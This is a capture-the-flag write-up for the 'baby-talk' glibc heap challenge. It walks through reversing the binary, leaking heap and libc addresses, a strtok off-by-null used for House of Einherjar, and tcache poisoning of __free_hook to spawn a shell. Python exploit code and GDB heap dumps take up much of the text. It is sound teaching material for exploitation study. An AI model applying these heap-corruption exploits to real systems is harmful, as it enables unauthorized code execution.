baby-talk
17 minutes to read
We are given a 64-bit binary called chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
The program gives us four options:
$ ./chall
1. str
2. tok
3. del
4. exit
>
Reverse engineering
If we open the binary in Ghidra, we will see the following decompiled C code. The main
function manages the options and calls the corresponding function:
int main() {
ulong option;
setbuf(stdout, NULL);
do {
while (true) {
while (true) {
print_menu();
printf("> ");
option = get_num();
if (option != 2) break;
do_tok();
}
if (2 < option) break;
if (option == 1) {
do_str();
} else {
LAB_00100c7b:
puts("??");
}
}
if (option != 3) {
if (option == 4) {
return 0;
}
goto LAB_00100c7b;
}
do_del();
} while (true);
}
Allocation function
In do_str
, we have the chance to allocate up to 0x1000
-sized strings and write them:
void do_str() {
uint index;
ulong size;
char *p_str;
index = get_empty();
if (index == 0xffffffff) {
puts("too many!");
} else {
printf("size? ");
size = get_num();
if (size < 0x1001) {
p_str = (char *) malloc(size);
strs[(int) index] = p_str;
if (strs[(int) index] == NULL) {
puts("no mem!");
} else {
printf("str? ");
read(0, strs[(int) index], size);
printf("stored at %d!\n", (ulong) index);
}
} else {
puts("too big!");
}
}
}
The string will be placed into a global array strs
of 16
positions. We cannot choose the index, but the function will tell us.
Free function
In do_del
, we select the index of the string we want to delete and it is freed using free
. Moreover, the slot is also set to NULL
in strs
, so there is no Use After Free here:
void do_del() {
ulong index;
printf("idx? ");
index = get_num();
if (index < 16) {
if (strs[index] == NULL) {
puts("empty!");
} else {
free(strs[index]);
strs[index] = NULL;
}
} else {
puts("too big!");
}
}
Token function
There is another function called do_tok
, which takes an index from strs
and a separator in order to use strtok
on the selected string:
void do_tok() {
ulong index;
char delim[2];
char *iter;
char *p_str;
printf("idx? ");
index = get_num();
if (index < 16) {
p_str = strs[index];
if (p_str == NULL) {
puts("empty!");
} else {
printf("delim? ");
read(0, delim, 2);
delim[1] = '\0';
iter = strtok(p_str, delim);
while (iter != NULL) {
puts(iter);
iter = strtok(NULL, delim);
}
}
} else {
puts("too big!");
}
}
The result is that all substrings will be printed in different lines. If there are no separator characters in the string, the same string itself will be printed.
Setup environment
First of all, since this is a heap exploitation challenge, we need to check the version of Glibc we are trying to exploit. At this point, I had some trouble figuring this out, because this Dockerfile
was provided:
FROM pwn.red/jail
COPY --from=ubuntu@sha256:dca176c9663a7ba4c1f0e710986f5a25e672842963d95b960191e2d9f7185ebe / /srv
COPY flag.txt /srv/app/
COPY chall /srv/app/run
So, my approach was to run the container and copy both the Glibc library and loader to my host machine:
$ echo 'dice{asdf}' > flag.txt
$ docker build -t baby-talk .
...
$ docker run -v "$(pwd)":/opt -it baby-talk sh
/ # cp /lib/ld-linux-x86-64.so.2 /lib/libc.so.6 /opt
/ # exit
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Here, I patched the binary to load this Glibc 2.36 and started solving the challenge until I got a working exploit. However, when I tried my exploit against the remote instance, it never worked…
Then, I got a bit confused and got back to the Docker container:
$ docker run -v "$(pwd)":/opt -it baby-talk sh
/ # find / -name libc.so.6 2>/dev/null
/srv/lib/x86_64-linux-gnu/libc.so.6
/lib/libc.so.6
/opt/libc.so.6
/ # find / -name libc.so.6 2>/dev/null | xargs md5sum
48e708bb157196b4cc1ffb68fc66fa17 /srv/lib/x86_64-linux-gnu/libc.so.6
9e21f348e8bd0dfd8d535eaf6fa9eb71 /lib/libc.so.6
9e21f348e8bd0dfd8d535eaf6fa9eb71 /opt/libc.so.6
/ # find / -name ld-linux-x86-64.so.2 2>/dev/null | xargs md5sum
md5sum: can't open '/srv/lib64/ld-linux-x86-64.so.2': No such file or directory
bd1331eea9e034eb3d661990e25037b7 /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
dbd82259ea74a350bc165f75fda6195a /lib/ld-linux-x86-64.so.2
dbd82259ea74a350bc165f75fda6195a /opt/ld-linux-x86-64.so.2
There are two different versions inside the container! Now, we see it’s Glibc 2.27:
/ # cp /srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /srv/lib/x86_64-linux-gnu/libc.so.6 /opt
/ # exit
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
At this point, we can patch the binary to use this Glibc version:
$ patchelf --set-interpreter ld-linux-x86-64.so.2 chall
$ patchelf --set-rpath . chall
Different versions
It’s worth saying that solving the challenge with Glibc 2.36 was harder than with 2.27 because of two things:
- Safe-linking is enabled, so we need to obfuscate and deobfuscate pointers in Tcache free-lists
- Function hooks are disabled, so we need to use a less common method to achieve code execution. I used TLS-storage
dtor_list
, which I think was the easiest way
Both of the above techniques are not needed with Glibc 2.27, because there are no such mitigations enabled. However, it was a nice exercise to practice more modern techniques with up-to-date mitigations.
Exploit strategy
We are dealing with a heap explotation challenge. In the end, we want to achieve arbitrary code execution, and for that we need an arbitrary write primitive. Consequently, we need to know the position of Glibc at runtime in order to call system("/bin/sh")
, thus we need to be able to leak memory addresses.
The technique to leak memory addresses is quite common in heap exploitation challenges. Once a chunk is freed, one pointer appears at the fd
field (in Tcache free-lists). This pointer is used to manage a linked list of freed chunks.
There is no Use After Free vulnerability in the program, but we can free a chunk and allocate again using the same size, so that the heap manager will give us the same chunk. At this point, we can write a single byte in the chunk, so that we only overwrite the least significant byte of the fd
pointer. Next, since the chunk is allocated, we can use do_tok
to read the contents of the chunk.
In order to leak Glibc addresses, the process is the same but using Unsorted Bin chunks. Here, we need to allocate chunks bigger than 0x80
(outside the range of Fast Bin) and free more than 7 chunks of this size (in order to fill the Tcache free-list). The 8th chunk will be sent to the Unsorted Bin. These freed chunks hold pointers fd
and bk
to some offset of main_arena
, which is inside Glibc.
Our write primitive appears in do_tok
. After reading the man
page, we can see a minor implementation flaw with the use of strtok
:
Be cautious when using these functions. If you do use them, note that:
These functions modify their first argument.
These functions cannot be used on constant strings.
The identity of the delimiting byte is lost.
The
strtok()
function uses a static buffer while parsing, so it’s not thread safe. Usestrtok_r()
if this matters to you.
The first point is the one that makes the program exploitable. Since strtok
modifies the first argument, it happens that any occurrence of the separator will be replaced by a null byte.
Knowing this, we are able to overflow by a single null byte character (off-by-null). If we allocate a chunk with the maximum usable size and fill it with characters, the size field of the next chunk will be right after the string. As a result, if we indicate the size of the next chunk as delimiter for the previous chunk in do_tok
, we will be able to modify the next chunk’s size and start corrupting memory.
In this situation, we can perform a null-byte poison attack (House of Einherjar). This attack uses an off-by-null in the size of a chunk, so that the flags AMP
are set to 0
. The relevant one is the PREV_INUSE
, which tells if the previous chunk is in use or not in order to merge chunks. What we can do is place a fake chunk inside the previous chunk and a fake previous size, so that we can free the corrupted chunk and trigger consolidation.
If all security checks pass, we will achieve overlapping chunks, which allows us to modify arbitrary information of freed chunks. For instance, we can leverage this using Tcache poisoning to obtain an arbitrary write primitive.
Exploit development
We will be using the following helper functions:
def do_str(size: int, string: bytes) -> int:
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size? ', str(size).encode())
io.sendafter(b'str? ', string)
io.recvuntil(b'stored at ')
return int(io.recvuntil(b'!', drop=True).decode())
def do_tok(index: int, separator: bytes) -> list[bytes]:
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'idx? ', str(index).encode())
io.sendlineafter(b'delim? ', separator)
return io.recvuntil(b'\n1. str', drop=True).splitlines()
def do_del(index: int):
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'idx? ', str(index).encode())
Leaking memory addresses
As said before, we are going to allocate more than 7 chunks with a size bigger than 0x80
and free them all, so that the Tcache free-list gets full and the rest of the chunks goes to the Unsorted Bin:
for _ in range(9):
do_str(0xf8, b'A')
for i in range(9):
do_del(8 - i)
I chose 0xf8
as usable size in order to have 0x100
-sized chunks, for later use. Moreover, I need 9 chunks because I have to allocate them again and write a single byte in order to leak memory addresses. If I had 8, the Unsorted Bin chunk will be allocated and the fd
and bk
pointers will be removed, because it will be empty. We can use the following string to attach GDB to the process:
gdb.attach(io, 'continue')
We have this heap layout:
gef> chunks
Chunk(addr=0x556137576000, size=0x250, flags=PREV_INUSE, fd=0x000000000000, bk=0x7000000000000)
Chunk(addr=0x556137576250, size=0x200, flags=PREV_INUSE, fd=0x7fd2ff7ebca0, bk=0x7fd2ff7ebca0) <- unsortedbins[1/1]
Chunk(addr=0x556137576450, size=0x100, flags=, fd=0x556137576560, bk=0x556137576010) <- tcache[idx=14,sz=0x100][1/7]
Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010) <- tcache[idx=14,sz=0x100][2/7]
Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010) <- tcache[idx=14,sz=0x100][4/7]
Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010) <- tcache[idx=14,sz=0x100][3/7]
Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010) <- tcache[idx=14,sz=0x100][5/7]
Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x556137576a60, bk=0x556137576010) <- tcache[idx=14,sz=0x100][6/7]
Chunk(addr=0x556137576a50, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010) <- tcache[idx=14,sz=0x100][7/7]
Chunk(addr=0x556137576b50, size=0x204b0, flags=PREV_INUSE, fd=0x000000000000, bk=0x000000000000) <- top
gef> bins
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=7
-> Chunk(addr=0x556137576450, size=0x100, flags=, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x556137576a60, bk=0x556137576010)
-> Chunk(addr=0x556137576a50, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 7 chunks in tcache.
-------------------------------------------------------------- Fastbins for arena 'main_arena' --------------------------------------------------------------
[+] Found 0 chunks in fastbin.
------------------------------------------------------------ Unsorted Bin for arena 'main_arena' ------------------------------------------------------------
unsorted_bins[idx=0, size=any, @0x7fd2ff7ebcb0]: fd=0x556137576250, bk=0x556137576250
-> Chunk(addr=0x556137576250, size=0x200, flags=PREV_INUSE, fd=0x7fd2ff7ebca0, bk=0x7fd2ff7ebca0)
[+] Found 1 chunks in unsorted bin.
------------------------------------------------------------- Small Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 small non-empty bins.
------------------------------------------------------------- Large Bins for arena 'main_arena' -------------------------------------------------------------
[+] Found 0 chunks in 0 large non-empty bins.
The second chunk has size 0x200
because it’s the result of two Unsorted Bin chunks merged into one. Now, if we allocate 0x100
-sized chunks, we will take those free chunks from the Tcache until it is empty and then take the ones from the Unsorted Bin:
for _ in range(9):
do_str(0xf8, b'A')
Notice that the most significant bits of the fd
and bk
pointers are still there:
gef> visual-heap
0x556137576000: 0x0000000000000000 0x0000000000000251 | ........Q....... |
0x556137576010: 0x0000000000000000 0x0000000000000000 | ................ |
* 35 lines, 0x230 bytes
0x556137576250: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576260: 0x00007fd2ff7ebe41 0x00007fd2ff7ebe90 | A.~.......~..... |
0x556137576270: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576350: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576360: 0x0000000000000041 0x0000000000000000 | A............... |
0x556137576370: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576450: 0x0000000000000100 0x0000000000000101 | ................ |
0x556137576460: 0x0000556137576541 0x0000000000000000 | AeW7aU.......... |
0x556137576470: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576550: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576560: 0x0000556137576641 0x0000000000000000 | AfW7aU.......... |
0x556137576570: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576650: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576660: 0x0000556137576741 0x0000000000000000 | AgW7aU.......... |
0x556137576670: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576750: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576760: 0x0000556137576841 0x0000000000000000 | AhW7aU.......... |
0x556137576770: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576850: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576860: 0x0000556137576941 0x0000000000000000 | AiW7aU.......... |
0x556137576870: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576950: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576960: 0x0000556137576a41 0x0000000000000000 | AjW7aU.......... |
0x556137576970: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576a50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576a60: 0x0000000000000041 0x0000000000000000 | A............... |
0x556137576a70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576b50: 0x0000000000000000 0x00000000000204b1 | ................ | <- top
0x556137576b60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8265 lines, 0x20490 bytes
So, we can use do_tok
with a random separator (which won’t be found) in order to print out those memory addresses:
heap_addr = u64(do_tok(0, b'.')[0].ljust(8, b'\0')) & (~0xfff)
glibc.address = u64(do_tok(7, b'.')[0].ljust(8, b'\0')) - 0x3ebe41
io.info(f'Heap base address: {hex(heap_addr)}')
io.success(f'Glibc base address: {hex(glibc.address)}')
And here we have them:
[*] Heap base address: 0x556137576000
[+] Glibc base address: 0x7fd2ff400000
And they are correct according to GDB:
gef> vmmap heap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000556137576000 0x0000556137597000 0x0000000000021000 0x0000000000000000 rw- [heap]
gef> vmmap libc
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x00007fd2ff400000 0x00007fd2ff5e7000 0x00000000001e7000 0x0000000000000000 r-x ./libc.so.6 <- $rcx, $rip, $r10
0x00007fd2ff5e7000 0x00007fd2ff7e7000 0x0000000000200000 0x00000000001e7000 --- ./libc.so.6
0x00007fd2ff7e7000 0x00007fd2ff7eb000 0x0000000000004000 0x00000000001e7000 r-- ./libc.so.6
0x00007fd2ff7eb000 0x00007fd2ff7ed000 0x0000000000002000 0x00000000001eb000 rw- ./libc.so.6
Null-byte poison
Now it’s time to perform the null-byte poison attack. For this, we will be using two chunks (a
and b
, with indices 9
and 10
). We will use a
to overflow the null byte into b
’s size field:
do_str(0xf8, b'a' * 0xf8)
do_str(0xf8, b'b')
do_str(0xf8, b'x')
for i in range(6):
do_del(5 - i)
Notice that I filled the Tcache because we need to use Unsorted Bin chunks to trigger chunk consolidation. We have this heap layout:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x6161616161616161 0x6161616161616161 | aaaaaaaaaaaaaaaa |
* 14 lines, 0xe0 bytes
0x556137576c50: 0x6161616161616161 0x0000000000000101 | aaaaaaaa........ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
gef> bins tcache
------------------------------------------------------------- Tcachebins for arena 'main_arena' -------------------------------------------------------------
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=6
-> Chunk(addr=0x556137576450, size=0x100, flags=PREV_INUSE, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 6 chunks in tcache.
There is still one slot remaining in the Tcache, I will use this slot to free a
after causing the off-by-null:
do_tok(9, b'\x01')
do_del(9)
Next, we allocate again and insert a fake chunk inside chunk a
and delete it again to keep the Tcache full:
do_del(
do_str(
0xf8,
p64(0) * 2 +
p64(0) + p64(0xe0) +
p64(heap_addr + 0xb80) * 2 +
p64(heap_addr + 0xb70) * 2 +
b'c' * 0xb0 + p64(0xe0)
)
)
This is now the heap layout:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x00000000000000e0 | ................ |
0x556137576b80: 0x0000556137576b80 0x0000556137576b80 | .kW7aU...kW7aU.. |
0x556137576b90: 0x0000556137576b70 0x0000556137576b70 | pkW7aU..pkW7aU.. |
0x556137576ba0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 10 lines, 0xa0 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
Notice the following:
- The
b
chunk hasPREV_INUSE
set to0
- The
b
chunk hasprev_size
equal to0xe0
- There is a fake chunk of size
0xe0
exactly0xe0
bytes above - The
fd
andbk
pointers of the fake chunk satisfy the security checks because:
P->fd->bk = *((*((0x556137576b70).fd)).bk)
= *(*(0x556137576b70 + 0x10) + 0x18)
= *(*(0x556137576b80) + 0x18)
= *(0x556137576b80 + 0x18)
= *(0x556137576b98)
= 0x556137576b70
= P
P->bk->fd = *((*((0x556137576b70).bk)).fd)
= *(*(0x556137576b70 + 0x18) + 0x10)
= *(*(0x556137576b88) + 0x10)
= *(0x556137576b80 + 0x10)
= *(0x556137576b90)
= 0x556137576b70
= P
As a result, we can delete chunk b
(index 10
) and the heap allocator will consolidate chunk b
with the fake chunk:
do_del(10)
We get this:
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x00000000000001e1 | ................ | <- unsortedbins[1/1]
0x556137576b80: 0x00007fd2ff7ebca0 0x00007fd2ff7ebca0 | ..~.......~..... |
0x556137576b90: 0x0000556137576b80 0x0000556137576b80 | .kW7aU...kW7aU.. |
0x556137576ba0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 10 lines, 0xa0 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x00000000000001e0 0x0000000000000100 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
Observe that we have overlapping chunks, since chunk a
is in the Tcache and inside we have our fake chunk in the Unsorted Bin.
Tcache poisoning
Now we can allocate and free some small chunks and after that do a Tcache poisoning attack:
i = do_str(0x18, b'Q')
do_del(do_str(0x18, b'x'))
do_del(i)
gef> visual-heap
0x556137576b50: 0x0000000000000000 0x0000000000000101 | ................ |
0x556137576b60: 0x0000556137576460 0x0000556137576010 | `dW7aU...`W7aU.. | <- tcache[idx=14,sz=0x100][1/7]
0x556137576b70: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x556137576b80: 0x0000556137576ba0 0x0000556137576010 | .kW7aU...`W7aU.. | <- tcache[idx=0,sz=0x20][1/2]
0x556137576b90: 0x0000556137576b80 0x0000000000000021 | .kW7aU..!....... |
0x556137576ba0: 0x0000000000000000 0x0000556137576010 | .........`W7aU.. | <- tcache[idx=0,sz=0x20][2/2]
0x556137576bb0: 0x6363636363636363 0x00000000000001a1 | cccccccc........ | <- unsortedbins[1/1]
0x556137576bc0: 0x00007fd2ff7ebca0 0x00007fd2ff7ebca0 | ..~.......~..... |
0x556137576bd0: 0x6363636363636363 0x6363636363636363 | cccccccccccccccc |
* 7 lines, 0x70 bytes
0x556137576c50: 0x00000000000000e0 0x0000000000000100 | ................ |
0x556137576c60: 0x0000000000000062 0x0000000000000000 | b............... |
0x556137576c70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576d50: 0x00000000000001a0 0x0000000000000100 | ................ |
0x556137576d60: 0x0000000000000078 0x0000000000000000 | x............... |
0x556137576d70: 0x0000000000000000 0x0000000000000000 | ................ |
* 13 lines, 0xd0 bytes
0x556137576e50: 0x0000000000000000 0x00000000000201b1 | ................ | <- top
0x556137576e60: 0x0000000000000000 0x0000000000000000 | ................ |
* 8217 lines, 0x20190 bytes
Next we allocate a 0x100
-sized chunk, which will be placed where chunk a
because it was the last to be freed, and modify the fd
pointer of the first 0x20
-sized chunk to point to __free_hook
:
do_str(0xf8, b'X' * 0x18 + p64(0x21) + p64(glibc.sym.__free_hook))
Observe that the Tcache 0x20
free-list is corrupted and the fd
points to __free_hook
:
gef> bins tcache
---------------------- Tcachebins for arena 'main_arena' ----------------------
tcachebins[idx=0, size=0x20, @0x556137576050] count=2
-> Chunk(addr=0x556137576b70, size=0x20, flags=PREV_INUSE, fd=0x7fd2ff7ed8e8, bk=0x556137576010)
-> Chunk(addr=0x7fd2ff7ed8d8, size=0x0, flags=, fd=0x000000000000, bk=0x000000000000)
tcachebins[idx=14, size=0x100, @0x5561375760c0] count=6
-> Chunk(addr=0x556137576450, size=0x100, flags=PREV_INUSE, fd=0x556137576560, bk=0x556137576010)
-> Chunk(addr=0x556137576550, size=0x100, flags=PREV_INUSE, fd=0x556137576660, bk=0x556137576010)
-> Chunk(addr=0x556137576650, size=0x100, flags=PREV_INUSE, fd=0x556137576760, bk=0x556137576010)
-> Chunk(addr=0x556137576750, size=0x100, flags=PREV_INUSE, fd=0x556137576860, bk=0x556137576010)
-> Chunk(addr=0x556137576850, size=0x100, flags=PREV_INUSE, fd=0x556137576960, bk=0x556137576010)
-> Chunk(addr=0x556137576950, size=0x100, flags=PREV_INUSE, fd=0x000000000000, bk=0x556137576010)
[+] Found 8 chunks in tcache.
Now, we can allocate two 0x20
-sized chunks, the second one will be placed at __free_hook
:
s = do_str(0x18, b'/bin/sh')
do_str(0x18, p64(glibc.sym.system))
Let’s see if we have the address of system
at __free_hook
:
gef> x/gx &__free_hook
0x7fd2ff7ed8e8 <__free_hook>: 0x00007fd2ff44f420
gef> x/gx (void*) __free_hook
0x7fd2ff44f420 <system>: 0xfa66e90b74ff8548
Alright, so at this point, we will be calling system
whenever we execute free
. Therefore, if we delete the previous chunk that holds "/bin/sh"
, we will be running system("/bin/sh")
and we will have a shell:
do_del(s)
Here we have it:
$ python3
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './chall': pid 3295687
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '3295687', '-x', '/tmp/pwn3wxiodgv.gdb']
[+] Waiting for debugger: Done
[*] Heap base address: 0x556137576000
[+] Glibc base address: 0x7fd2ff400000
[*] Switching to interactive mode
$ ls
chall Dockerfile flag.txt ld-linux-x86-64.so.2 libc.so.6 solve.py
Flag
Let’s run the exploit remotely:
$ python3 solve.py mc.ax 32526
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to mc.ax on port 32526: Done
[*] Heap base address: 0x5cb86eb40000
[+] Glibc base address: 0x7d812429c000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
dice{tkjctf_lmeow_fee9c2ee3952d7b9479306ddd8e477ca}
The full exploit can be found in here: solve.py
.